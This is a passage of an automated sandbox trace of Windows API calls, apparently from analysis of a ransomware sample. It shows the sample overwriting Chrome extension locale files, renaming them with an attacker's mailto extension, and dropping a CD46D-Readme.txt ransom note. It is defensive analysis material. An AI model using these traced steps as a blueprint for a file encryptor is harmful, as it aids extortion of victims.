0x5d2a42a3 [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x3ed5c2e5 [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x576018a6 [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x3a96ea5c [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x159f36f1 [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x49b8617f [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x36871f93 [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x406f32d5 [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x36f3218d [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x1b5135dd [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0xf9295b5 [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x3c21ffbd [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x5953cb7a [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x592ade60 [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x5567809 [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x4c309e7d [0198.453] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0xbb67afb [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x33ed1f59 [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x6d889af0 [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x30a8daf [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x2866a629 [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x5ff83b08 [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x40b5c720 [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x276de510 [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x53248fb4 [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x6f21f13f [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x744088e8 [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x492448b7 [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x4f3872a5 [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x5d818d36 [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x44455635 [0198.454] RtlRandomEx (in: Seed=0xa6bf9c0 | out: Seed=0xa6bf9c0) returned 0x5187884c [0198.469] ReadFile (in: hFile=0x1418, lpBuffer=0x12e36810, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0xa6bf9b0, lpOverlapped=0x0 | out: lpBuffer=0x12e36810*, lpNumberOfBytesRead=0xa6bf9b0*=0xdd, lpOverlapped=0x0) returned 1 [0198.472] SetFilePointerEx (in: hFile=0x1418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.472] WriteFile (in: hFile=0x1418, lpBuffer=0x12e43018*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0xa6bf9ac, lpOverlapped=0x0 | out: lpBuffer=0x12e43018*, lpNumberOfBytesWritten=0xa6bf9ac*=0xdd, lpOverlapped=0x0) returned 1 [0199.547] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee48 [0199.547] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed58 [0199.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed58) returned 1 [0199.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e43018) returned 1 [0199.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e36810) returned 1 [0199.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb280) returned 1 [0199.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2818) returned 1 [0199.547] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x938030 [0199.547] SetFilePointerEx (in: hFile=0x1418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.547] WriteFile (in: hFile=0x1418, lpBuffer=0x12cf5a68*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xa6bfa14, lpOverlapped=0x0 | out: lpBuffer=0x12cf5a68*, lpNumberOfBytesWritten=0xa6bfa14*=0x10b, lpOverlapped=0x0) returned 1 [0199.628] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5a68) returned 1 [0199.628] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938060) returned 1 [0199.628] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed58) returned 1 [0199.628] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938030) returned 1 [0199.628] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee48) returned 1 [0199.628] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945ca8) returned 1 [0199.628] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945c58) returned 1 [0199.628] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945820) returned 1 [0199.628] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c6080 [0199.628] wcscpy (in: _Dest=0xd4c6080, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" [0199.628] wcscat (in: _Dest=0xd4c6080, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0199.628] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xa6bf9cc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.628] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9b98 [0199.672] FlushFileBuffers (hFile=0x1418) returned 1 [0199.679] CloseHandle (hObject=0x1418) returned 1 [0199.705] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5658 [0199.705] wcscpy (in: _Dest=0x9b5658, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\" [0199.705] wcscat (in: _Dest=0x9b5658, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\CD46D-Readme.txt" [0199.705] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\cd46d-readme.txt")) returned 0xffffffff [0199.705] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa70 [0199.720] WriteFile (in: hFile=0xa70, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xa6bf9d4, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xa6bf9d4*=0x6fd, lpOverlapped=0x0) returned 1 [0199.726] CloseHandle (hObject=0xa70) returned 1 [0199.737] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5658) returned 1 [0199.737] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99d0b0) returned 1 Thread: id = 8404 os_tid = 0x1864 [0193.433] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json")) returned 0x2020 [0193.434] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json", dwFileAttributes=0x20) returned 1 [0193.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14a8 [0193.434] GetFileSizeEx (in: hFile=0x14a8, lpFileSize=0x1603f9d8 | out: lpFileSize=0x1603f9d8*=213) returned 1 [0193.434] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.434] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9382c0 [0193.434] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938220 [0193.435] NtQuerySystemTime (in: CurrentTime=0x1603f938 | out: CurrentTime=0x1603f938*=132174899680258000) returned 0x0 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x668ec516 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x5526c189 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x27c6148f [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x1f9de4d6 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x3411ca7c [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x16093301 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x51ec4c9d [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x32215d0e [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x456eab4a [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x57e4a665 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x5393ac29 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x1c481f94 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x5037fe61 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x2eca3e00 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x73c8d840 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0xb54584b [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x2e2f3cb4 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x165ee481 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0xa31b621 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x4ab2d5e7 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x37371803 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x3ebc7d6f [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x2ad083de [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x2d853f13 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x1123ec65 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x238c51b9 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x4ee837cb [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x1d63a892 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x63a49177 [0193.435] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x735a69ae [0193.436] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0x90c4030 [0193.436] RtlRandomEx (in: Seed=0x1603f944 | out: Seed=0x1603f944) returned 0xd519304 [0193.448] ReadFile (hFile=0x14a8, lpBuffer=0x12df8950, nNumberOfBytesToRead=0xd5, lpNumberOfBytesRead=0x1603f934, lpOverlapped=0x0) [0193.449] SetFilePointerEx (in: hFile=0x14a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.449] WriteFile (in: hFile=0x14a8, lpBuffer=0x12e05158*, nNumberOfBytesToWrite=0xd5, lpNumberOfBytesWritten=0x1603f930, lpOverlapped=0x0 | out: lpBuffer=0x12e05158*, lpNumberOfBytesWritten=0x1603f930*=0xd5, lpOverlapped=0x0) returned 1 [0195.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909848 [0195.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909488 [0195.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909488) returned 1 [0195.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e05158) returned 1 [0195.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12df8950) returned 1 [0195.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e91d8) returned 1 [0195.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9a38) returned 1 [0195.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6c60 [0195.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8f9a38 [0195.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e91d8 [0195.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909488 [0195.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909488) returned 1 [0195.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6c90 [0195.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909488 [0195.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9097d0 [0195.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9097d0) returned 1 [0195.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e91d8) returned 1 [0195.144] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9a38) returned 1 [0195.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10b) returned 0x12cf5a68 [0195.144] SetFilePointerEx (in: hFile=0x14a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.144] WriteFile (in: hFile=0x14a8, lpBuffer=0x12cf5a68*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x1603f998, lpOverlapped=0x0 | out: lpBuffer=0x12cf5a68*, lpNumberOfBytesWritten=0x1603f998*=0x10b, lpOverlapped=0x0) returned 1 [0198.031] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5a68) returned 1 [0198.031] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6c90) returned 1 [0198.031] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909488) returned 1 [0198.031] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6c60) returned 1 [0198.031] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909848) returned 1 [0198.031] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9382c0) returned 1 [0198.031] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938428) returned 1 [0198.031] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938450) returned 1 [0198.032] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c66a0 [0198.032] wcscpy (in: _Dest=0xd4c66a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" [0198.032] wcscat (in: _Dest=0xd4c66a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0198.032] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1603f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0198.032] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c93a0 [0198.063] FlushFileBuffers (hFile=0x14a8) returned 1 [0198.070] CloseHandle (hObject=0x14a8) returned 1 [0198.083] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0xd4946c8 [0198.083] wcscpy (in: _Dest=0xd4946c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\" [0198.084] wcscat (in: _Dest=0xd4946c8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\CD46D-Readme.txt" [0198.084] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\cd46d-readme.txt")) returned 0xffffffff [0198.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0198.093] WriteFile (in: hFile=0x584, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x1603f958, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x1603f958*=0x6fd, lpOverlapped=0x0) returned 1 [0198.094] CloseHandle (hObject=0x584) returned 1 [0198.094] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4946c8) returned 1 [0198.094] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99d458) returned 1 Thread: id = 8405 os_tid = 0x1868 [0193.451] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json")) returned 0x2020 [0193.451] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json", dwFileAttributes=0x20) returned 1 [0198.391] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1754 [0198.391] GetFileSizeEx (in: hFile=0x1754, lpFileSize=0x15f0fdc0 | out: lpFileSize=0x15f0fdc0*=209) returned 1 [0198.391] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0198.391] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9455c8 [0198.391] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9456b8 [0198.391] NtQuerySystemTime (in: CurrentTime=0x15f0fd20 | out: CurrentTime=0x15f0fd20*=132174899729866000) returned 0x0 [0198.391] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x1af6883c [0198.391] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x4779586c [0198.391] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x6310123c [0198.391] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x7e88b7bc [0198.391] RtlRandomEx (in: 